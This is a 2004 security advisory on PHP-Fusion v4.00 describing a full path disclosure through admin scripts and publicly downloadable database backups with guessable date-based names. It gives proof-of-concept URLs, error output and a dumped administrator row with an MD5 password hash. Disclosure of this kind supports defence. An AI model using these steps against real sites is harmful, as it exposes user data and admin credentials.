--------------------------------------------------------------------------- Multiple vulnerabilities in PHP-FUSION --------------------------------------------------------------------------- Author: y3dips Date: August, 17th 2004 Location: Indonesia, Jakarta Web: http://echo.or.id/adv/adv04-y3dips-2004.txt --------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ PHP-Fusion v4.00 (Released June 14th 2004) Written by Nick Jones (Digitanium) PHP-Fusion is an all-in-one content management system (CMS) written in PHP4. It uses a mySQL database to store all of it's content such as News, Articles, Forum Posts, Shoutbox Posts and more web: http://sourceforge.net/projects/php-fusion/ --------------------------------------------------------------------------- Vulnerabilities: ~~~~~~~~~~~~~~~~ A. Full path disclosure: A1. Script in fusion_admin/updateuser.php files are not protected against direct access and if we go straight to the path we will see standard php error messages, revealing full path to script POC : http://localhost/fusion/fusion_admin/updateuser.php Warning: main(fusion_langdiradmin/admin_members.php): failed to open stream: No such file or directory in /var/www/html/fusion/fusion_admin/updateuser.php on line 14 Fatal error: main(): Failed opening required 'fusion_langdiradmin/admin_members.php' (include_path='.:/usr/share/pear') in /var/www/html/fusion/fusion_admin/updateuser.php on line 14 A2. Script in fusion_admin/forums_prune.php files are not protected against direct access and if we go straight to the path we will see standard php error messages, revealing full path to script http://localhost/fusion/fusion_admin/forums_prune.php Fatal error: Call to undefined function: opentable() in /var/www/html/fusion/fusion_admin/forums_prune.php on line 14 ---------------------------------------------- B. Posible to download or look the db backup file to gain Admin Access see the installation intruction in the "ReadMe First.txt" 1 - CHMOD the following folders to 0777: - --- - fusion_admin/db_backups - --- It mean that the db_backups is browseable , eventhough in the directories there is still "index.php" file, but it doesnt mean protect direct access to the db file in the directories let see the weak of db form name example name : - backup_2004-08-17_1845.sql - backup_2004-08-17_1845.sql.gz let see the form - backup_year-month-day_time.sql - backup_year-month-day_time.sql.gz But youll have to "GUEST" the db name, it doesnt matter if you have a little skill of programing :) ,coz youve allready had the format, then you just need to point a range into your own script to donlod it :D POC : you can directly point out your URL to this page http://localhost/fusion/fusion_admin/db_backups/backup_2004-08-17_1845.sql then " BUMM " i swear to you, you'll see the whole database is it the table, or the data on your browser , it depends on the administrator way to backup it , or http://localhost/fusion/fusion_admin/db_backups/backup_2004-08-17_1845.sql.gz then you may to downloaded it :P then you see the data ----cut-------------- # Table Data for `fusion_users` # INSERT INTO `fusion_users` (`user_id`, `user_name`, `user_password`, `user_email`, `user_hide_email`, `user_location`, `user_icq`, `user_msn`, `user_yahoo`, `user_web`, `user_theme`, `user_offset`, `user_avatar`, `user_sig`, `user_posts`, `user_joined`, `user_lastvisit`, `user_mod`, `user_ban`) VALUES (1, 'dudul', '810f9f3fbad17446a22ed2e516a12c36', 'dudul@dudul.com', 1, '', '', '', '', '', 'Default', '0', '', '', 0, 1092739417, 1092743149, 4, 0); -----cut------------- user = dudul md5 password = 810f9f3fbad17446a22ed2e516a12c36 user_mod = 4 <---- super administrator --------------------------------------------------------------------------- The fix: ~~~~~~~~ Vendor not contacted yet --------------------------------------------------------------------------- Shoutz: ~~~~~~~ ~ m0by, the_day, comex, z3r0byt3, K-159, c-a-s-e, S`to @T echo/staff ~ yudhax, biatch-x, lieur-euy, bima_, yadi_syahid, orion, lutfian ~ newbie_hacker@yahoogroups.com , ~ #e-c-h-o & #aikmel @DALNET --------------------------------------------------------------------------- Contact: ~~~~~~~~ y3dips || echo|staff || y3dips(at)echo(dot)or(dot)id Homepage: http://y3dips.echo.or.id/ -------------------------------- [ EOF ] ----------------------------------